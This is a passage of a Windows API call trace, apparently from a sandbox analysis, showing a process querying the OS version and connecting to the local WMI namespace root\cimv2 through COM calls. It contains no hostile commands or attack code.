hWnd=0x40162, Msg=0x24, wParam=0x0, lParam=0x3ce2e4) returned 0x0 [0187.966] RegisterClipboardFormatW (lpszFormat="WinFormsUnSubclass") returned 0xc12e [0187.967] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x40162, Msg=0x81, wParam=0x0, lParam=0x3ce2d8) returned 0x1 [0187.968] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x40162, Msg=0x83, wParam=0x0, lParam=0x3ce2c4) returned 0x0 [0187.970] CallWindowProcW (lpPrevWndFunc=0x76ec25dd, hWnd=0x40162, Msg=0x1, wParam=0x0, lParam=0x3ce2d8) returned 0x0 [0187.970] GetLastError () returned 0x0 [0188.394] GetVersionExW (in: lpVersionInformation=0x5a48e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x5a48e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0188.394] GetLastError () returned 0x0 [0188.416] CreateBindCtx (in: reserved=0x0, ppbc=0x3cee90 | out: ppbc=0x3cee90*=0x5beba0) returned 0x0 [0188.416] IUnknown:QueryInterface (in: This=0x5beba0, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce738 | out: ppvObject=0x3ce738*=0x5beba0) returned 0x0 [0188.417] IUnknown:QueryInterface (in: This=0x5beba0, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ce6f4 | out: ppvObject=0x3ce6f4*=0x0) returned 0x80004002 [0188.418] IUnknown:QueryInterface (in: This=0x5beba0, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ce5e8 | out: ppvObject=0x3ce5e8*=0x0) returned 0x80004002 [0188.418] IUnknown:AddRef (This=0x5beba0) returned 0x3 [0188.418] CoGetContextToken (in: pToken=0x3ce580 | out: pToken=0x3ce580) returned 0x0 [0188.418] CoGetContextToken (in: pToken=0x3ce544 | out: pToken=0x3ce544) returned 0x0 [0188.418] CObjectContext::QueryInterface () returned 0x0 [0188.422] CObjectContext::GetCurrentApartmentType () returned 0x0 [0188.422] Release () returned 0x0 [0188.422] CoGetObjectContext (in: riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5a1604 | out: ppv=0x5a1604*=0x5992f0) returned 0x0 [0188.447] IUnknown:QueryInterface (in: This=0x5beba0, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce568 | out: ppvObject=0x3ce568*=0x0) returned 0x80004002 [0188.447] CoGetContextToken (in: pToken=0x3ce578 | out: pToken=0x3ce578) returned 0x0 [0188.447] IUnknown:AddRef (This=0x5beba0) returned 0x4 [0188.447] IUnknown:QueryInterface (in: This=0x5beba0, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce5ec | out: ppvObject=0x3ce5ec*=0x0) returned 0x80004002 [0188.447] IUnknown:Release (This=0x5beba0) returned 0x3 [0188.448] IUnknown:Release (This=0x5beba0) returned 0x2 [0188.448] CoGetContextToken (in: pToken=0x3ce9ec | out: pToken=0x3ce9ec) returned 0x0 [0188.448] CoGetContextToken (in: pToken=0x3ce9ac | out: pToken=0x3ce9ac) returned 0x0 [0188.448] IUnknown:AddRef (This=0x5beba0) returned 0x3 [0188.448] IUnknown:QueryInterface (in: This=0x5beba0, riid=0x3cea28*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cea24 | out: ppvObject=0x3cea24*=0x5beba0) returned 0x0 [0188.448] IUnknown:Release (This=0x5beba0) returned 0x3 [0188.448] IUnknown:Release (This=0x5beba0) returned 0x2 [0188.448] IUnknown:Release (This=0x5beba0) returned 0x1 [0188.450] CoGetContextToken (in: pToken=0x3cea50 | out: pToken=0x3cea50) returned 0x0 [0188.450] CoGetContextToken (in: pToken=0x3cea10 | out: pToken=0x3cea10) returned 0x0 [0188.450] IUnknown:AddRef (This=0x5beba0) returned 0x2 [0188.450] IUnknown:QueryInterface (in: This=0x5beba0, riid=0x3cea8c*(Data1=0xe, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cea88 | out: ppvObject=0x3cea88*=0x5beba0) returned 0x0 [0188.450] IUnknown:Release (This=0x5beba0) returned 0x2 [0188.450] IUnknown:AddRef (This=0x5beba0) returned 0x3 [0188.451] MkParseDisplayName (in: pbc=0x5beba0, szUserName="WinMgmts:", pchEaten=0x3cef1c, ppmk=0x3cee60 | out: pchEaten=0x3cef1c, ppmk=0x3cee60*=0x5d46f8) returned 0x0 [0188.519] malloc (_Size=0x80) returned 0x1b2e30 [0188.521] DllGetClassObject (in: rclsid=0x5d541c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x3ceaa0*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ce158 | out: ppv=0x3ce158*=0x0) returned 0x80004002 [0188.521] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730810 [0188.521] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.522] DllGetClassObject (in: rclsid=0x5d541c*(Data1=0x172bddf8, Data2=0xceea, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), riid=0x75c6ee84*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cec54 | out: ppv=0x3cec54*=0x5730810) returned 0x0 [0188.522] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730810 [0188.522] WinMGMTS:IClassFactory:CreateInstance (in: This=0x5730810, pUnkOuter=0x0, riid=0x75c6f084*(Data1=0x11a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cec00 | out: ppvObject=0x3cec00*=0x5730850) returned 0x0 [0188.522] GetVersionExW (in: lpVersionInformation=0x3cea4c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x7f, dwMinorVersion=0x36b7, dwBuildNumber=0x3, dwPlatformId=0x3ceab0, szCSDVersion="塩甧\x08쀕") | out: lpVersionInformation=0x3cea4c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0188.522] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x3cea40 | out: phkResult=0x3cea40*=0x248) returned 0x0 [0188.522] RegQueryValueExW (in: hKey=0x248, lpValueName="Default Impersonation Level", lpReserved=0x0, lpType=0x0, lpData=0x3cea48, lpcbData=0x3cea44*=0x4 | out: lpType=0x0, lpData=0x3cea48*=0x3, lpcbData=0x3cea44*=0x4) returned 0x0 [0188.522] RegCloseKey (hKey=0x248) returned 0x0 [0188.522] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730828 [0188.522] GetSystemDirectoryW (in: lpBuffer=0x5730828, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0188.522] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\advapi32.dll", hFile=0x0, dwFlags=0x0) returned 0x750d0000 [0188.523] GetProcAddress (hModule=0x750d0000, lpProcName="DuplicateTokenEx") returned 0x750dca24 [0188.523] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.523] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730828 [0188.523] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730850 [0188.523] WinMGMTS:IUnknown:Release (This=0x5730810) returned 0x0 [0188.523] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.523] WinMGMTS:IParseDisplayName:ParseDisplayName (in: This=0x5730850, pbc=0x5beba0, pszDisplayName="WinMgmts:", pchEaten=0x3cee18, ppmkOut=0x3cee1c | out: pchEaten=0x3cee18*=0x9, ppmkOut=0x3cee1c*=0x5d46f8) returned 0x0 [0188.523] _wcsnicmp (_String1="WinMgmts:", _String2="WINMGMTS:", _MaxCount=0x9) returned 0 [0188.524] IBindCtx:GetObjectParam (in: This=0x5beba0, pszKey="WmiObject", ppunk=0x3ced20 | out: ppunk=0x3ced20*=0x0) returned 0x80004005 [0188.524] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730860 [0188.524] _wcsnicmp (_String1="", _String2="{", _MaxCount=0x1) returned -123 [0188.524] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730880 [0188.524] CoCreateInstance (in: rclsid=0x740c42b0*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x740c42a0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x5730898 | out: ppv=0x5730898*=0x57308e8) returned 0x0 [0188.532] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x57308f8 [0188.532] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730960 [0188.533] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x57309c0 [0188.533] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.533] GetCurrentThreadId () returned 0x55c [0188.533] _wcsnicmp (_String1="", _String2="[", _MaxCount=0x1) returned -91 [0188.533] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.533] GetCurrentThreadId () returned 0x55c [0188.533] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Wbem\\Scripting", ulOptions=0x0, samDesired=0x1, phkResult=0x3cec08 | out: phkResult=0x3cec08*=0x250) returned 0x0 [0188.533] RegQueryValueExW (in: hKey=0x250, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x3cec10*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x3cec10*=0x16) returned 0x0 [0188.533] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x57309e0 [0188.533] RegQueryValueExW (in: hKey=0x250, lpValueName="Default Namespace", lpReserved=0x0, lpType=0x0, lpData=0x57309e0, lpcbData=0x3cec10*=0x16 | out: lpType=0x0, lpData=0x57309e0*=0x72, lpcbData=0x3cec10*=0x16) returned 0x0 [0188.533] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730a00 [0188.533] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.533] RegCloseKey (hKey=0x250) returned 0x0 [0188.533] CoCreateInstance (in: rclsid=0x740c53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x740c50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x3cec3c | out: ppv=0x3cec3c*=0x5730a20) returned 0x0 [0188.544] SysStringLen (param_1=".") returned 0x1 [0188.544] WbemDefPath:IWbemPath:SetServer (This=0x5730a20, Name=".") returned 0x0 [0188.544] CoCreateInstance (in: rclsid=0x740c53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x740c50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x3cebf4 | out: ppv=0x3cebf4*=0x5730ab8) returned 0x0 [0188.544] CoCreateInstance (in: rclsid=0x740c53b8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x740c50dc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppv=0x3ceb98 | out: ppv=0x3ceb98*=0x5730b50) returned 0x0 [0188.544] WbemDefPath:IWbemPath:SetText (This=0x5730b50, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0188.544] WbemDefPath:IUnknown:Release (This=0x5730b50) returned 0x0 [0188.544] SysStringLen (param_1="root\\cimv2") returned 0xa [0188.544] WbemDefPath:IWbemPath:SetText (This=0x5730ab8, uMode=0xc, pszPath="root\\cimv2") returned 0x0 [0188.544] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5730ab8, puCount=0x3cec04 | out: puCount=0x3cec04*=0x2) returned 0x0 [0188.544] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x5730a20) returned 0x0 [0188.545] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5730ab8, uIndex=0x0, puNameBufLength=0x3cebcc*=0x0, pName=0x0 | out: puNameBufLength=0x3cebcc*=0x5, pName=0x0) returned 0x0 [0188.545] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730b50 [0188.545] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5730ab8, uIndex=0x0, puNameBufLength=0x3cebcc*=0x5, pName="ಀճÄճ" | out: puNameBufLength=0x3cebcc*=0x5, pName="root") returned 0x0 [0188.545] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.545] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5730a20, uIndex=0x0, pszName="root") returned 0x0 [0188.545] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5730ab8, uIndex=0x1, puNameBufLength=0x3cebcc*=0x0, pName=0x0 | out: puNameBufLength=0x3cebcc*=0x6, pName=0x0) returned 0x0 [0188.545] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730ce8 [0188.545] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x5730ab8, uIndex=0x1, puNameBufLength=0x3cebcc*=0x6, pName="ÄճÄճ2" | out: puNameBufLength=0x3cebcc*=0x6, pName="cimv2") returned 0x0 [0188.545] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.545] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x5730a20, uIndex=0x1, pszName="cimv2") returned 0x0 [0188.545] WbemDefPath:IUnknown:Release (This=0x5730ab8) returned 0x0 [0188.545] WbemDefPath:IWbemPath:GetText (in: This=0x5730a20, lFlags=4, puBuffLength=0x3cec20*=0x0, pszText=0x0 | out: puBuffLength=0x3cec20*=0xf, pszText=0x0) returned 0x0 [0188.545] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730ab8 [0188.545] WbemDefPath:IWbemPath:GetText (in: This=0x5730a20, lFlags=4, puBuffLength=0x3cec20*=0xf, pszText="୰ճৠճ2" | out: puBuffLength=0x3cec20*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0188.545] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.545] WbemDefPath:IUnknown:Release (This=0x5730a20) returned 0x0 [0188.545] WbemLocator:IWbemLocator:ConnectServer (in: This=0x57308e8, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x3ceca8 | out: ppNamespace=0x3ceca8*=0x573d194) returned 0x0 [0188.667] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573c898 [0188.667] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d1a8 [0188.667] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d208 [0188.667] WbemLocator:IUnknown:QueryInterface (in: This=0x573d194, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb78 | out: ppvObject=0x3ceb78*=0x5d891c) returned 0x0 [0188.667] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5d891c, pProxy=0x573d194, pAuthnSvc=0x3ceb68, pAuthzSvc=0x3ceb6c, pServerPrincName=0x0, pAuthnLevel=0x3ceb94, pImpLevel=0x3ceb90, pAuthInfo=0x0, pCapabilites=0x3ceb80 | out: pAuthnSvc=0x3ceb68*=0xa, pAuthzSvc=0x3ceb6c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ceb94*=0x6, pImpLevel=0x3ceb90*=0x2, pAuthInfo=0x0, pCapabilites=0x3ceb80*=0x1) returned 0x0 [0188.667] WbemLocator:IUnknown:Release (This=0x5d891c) returned 0x1 [0188.667] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.667] GetCurrentThreadId () returned 0x55c [0188.667] WbemLocator:IUnknown:QueryInterface (in: This=0x573d194, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceba8 | out: ppvObject=0x3ceba8*=0x5d891c) returned 0x0 [0188.667] WbemLocator:IClientSecurity:CopyProxy (in: This=0x5d891c, pProxy=0x573d194, ppCopy=0x3cebac | out: ppCopy=0x3cebac*=0x573d304) returned 0x0 [0188.667] WbemLocator:IUnknown:QueryInterface (in: This=0x573d304, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceac4 | out: ppvObject=0x3ceac4*=0x5d891c) returned 0x0 [0188.667] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5d891c, pProxy=0x573d304, pAuthnSvc=0x3ceae8, pAuthzSvc=0x3cead8, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x3ceae8*=0xa, pAuthzSvc=0x3cead8*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0188.667] WbemLocator:IUnknown:Release (This=0x5d891c) returned 0x3 [0188.667] WbemLocator:IUnknown:QueryInterface (in: This=0x573d304, riid=0x740c34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cea9c | out: ppvObject=0x3cea9c*=0x5d893c) returned 0x0 [0188.668] WbemLocator:IUnknown:QueryInterface (in: This=0x573d304, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceaa0 | out: ppvObject=0x3ceaa0*=0x5d891c) returned 0x0 [0188.668] WbemLocator:IClientSecurity:SetBlanket (This=0x5d891c, pProxy=0x573d304, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0188.668] WbemLocator:IUnknown:Release (This=0x5d891c) returned 0x4 [0188.668] WbemLocator:IUnknown:Release (This=0x5d893c) returned 0x3 [0188.668] WbemLocator:IUnknown:Release (This=0x5d891c) returned 0x2 [0188.668] WbemLocator:IUnknown:AddRef (This=0x573d304) returned 0x3 [0188.668] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d318 [0188.668] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573c968 [0188.668] WbemLocator:IUnknown:Release (This=0x573d194) returned 0x2 [0188.668] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.668] GetCurrentThreadId () returned 0x55c [0188.668] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.668] GetCurrentThreadId () returned 0x55c [0188.668] WbemLocator:IUnknown:QueryInterface (in: This=0x573d304, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cec6c | out: ppvObject=0x3cec6c*=0x5d891c) returned 0x0 [0188.669] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5d891c, pProxy=0x573d304, pAuthnSvc=0x3cec5c, pAuthzSvc=0x3cec60, pServerPrincName=0x0, pAuthnLevel=0x3cec8c, pImpLevel=0x3cec90, pAuthInfo=0x0, pCapabilites=0x3cec74 | out: pAuthnSvc=0x3cec5c*=0xa, pAuthzSvc=0x3cec60*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3cec8c*=0x6, pImpLevel=0x3cec90*=0x3, pAuthInfo=0x0, pCapabilites=0x3cec74*=0x20) returned 0x0 [0188.669] WbemLocator:IUnknown:Release (This=0x5d891c) returned 0x2 [0188.669] CreatePointerMoniker (in: punk=0x573c898, ppmk=0x3cee1c | out: ppmk=0x3cee1c*=0x5d46f8) returned 0x0 [0188.669] IUnknown:AddRef (This=0x573c898) returned 0x2 [0188.669] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.669] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.669] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.669] WbemLocator:IUnknown:Release (This=0x57308e8) returned 0x0 [0188.669] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.669] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.669] WinMGMTS:IUnknown:Release (This=0x5730850) returned 0x0 [0188.670] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0188.671] IUnknown:QueryInterface (in: This=0x5d46f8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce710 | out: ppvObject=0x3ce710*=0x5d46f8) returned 0x0 [0188.673] IUnknown:QueryInterface (in: This=0x5d46f8, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ce6cc | out: ppvObject=0x3ce6cc*=0x0) returned 0x80004002 [0188.673] IUnknown:QueryInterface (in: This=0x5d46f8, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ce5c0 | out: ppvObject=0x3ce5c0*=0x0) returned 0x80004002 [0188.673] IUnknown:AddRef (This=0x5d46f8) returned 0x3 [0188.673] CoGetContextToken (in: pToken=0x3ce558 | out: pToken=0x3ce558) returned 0x0 [0188.673] CoGetContextToken (in: pToken=0x3ce51c | out: pToken=0x3ce51c) returned 0x0 [0188.673] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce550 | out: ppvObject=0x3ce550*=0x5992fc) returned 0x0 [0188.673] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce580 | out: pAptType=0x3ce580*=3) returned 0x0 [0188.673] IUnknown:Release (This=0x5992fc) returned 0x1 [0188.673] IUnknown:QueryInterface (in: This=0x5d46f8, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce540 | out: ppvObject=0x3ce540*=0x5d470c) returned 0x0 [0188.674] IMarshal:GetUnmarshalClass (in: This=0x5d470c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ce548 | out: pCid=0x3ce548*(Data1=0x306, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0188.675] IUnknown:Release (This=0x5d470c) returned 0x3 [0188.675] CoGetContextToken (in: pToken=0x3ce550 | out: pToken=0x3ce550) returned 0x0 [0188.675] IUnknown:AddRef (This=0x5d46f8) returned 0x4 [0188.675] IUnknown:QueryInterface (in: This=0x5d46f8, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce5c4 | out: ppvObject=0x3ce5c4*=0x0) returned 0x80004002 [0188.675] IUnknown:Release (This=0x5d46f8) returned 0x3 [0188.676] IUnknown:Release (This=0x5d46f8) returned 0x2 [0188.676] CoGetContextToken (in: pToken=0x3ce9c4 | out: pToken=0x3ce9c4) returned 0x0 [0188.676] CoGetContextToken (in: pToken=0x3ce984 | out: pToken=0x3ce984) returned 0x0 [0188.677] IUnknown:AddRef (This=0x5d46f8) returned 0x3 [0188.677] IUnknown:QueryInterface (in: This=0x5d46f8, riid=0x3cea00*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce9fc | out: ppvObject=0x3ce9fc*=0x5d46f8) returned 0x0 [0188.677] IUnknown:Release (This=0x5d46f8) returned 0x3 [0188.677] IUnknown:Release (This=0x5d46f8) returned 0x2 [0188.677] IUnknown:Release (This=0x5d46f8) returned 0x1 [0188.677] IUnknown:Release (This=0x5beba0) returned 0x2 [0188.678] CoGetContextToken 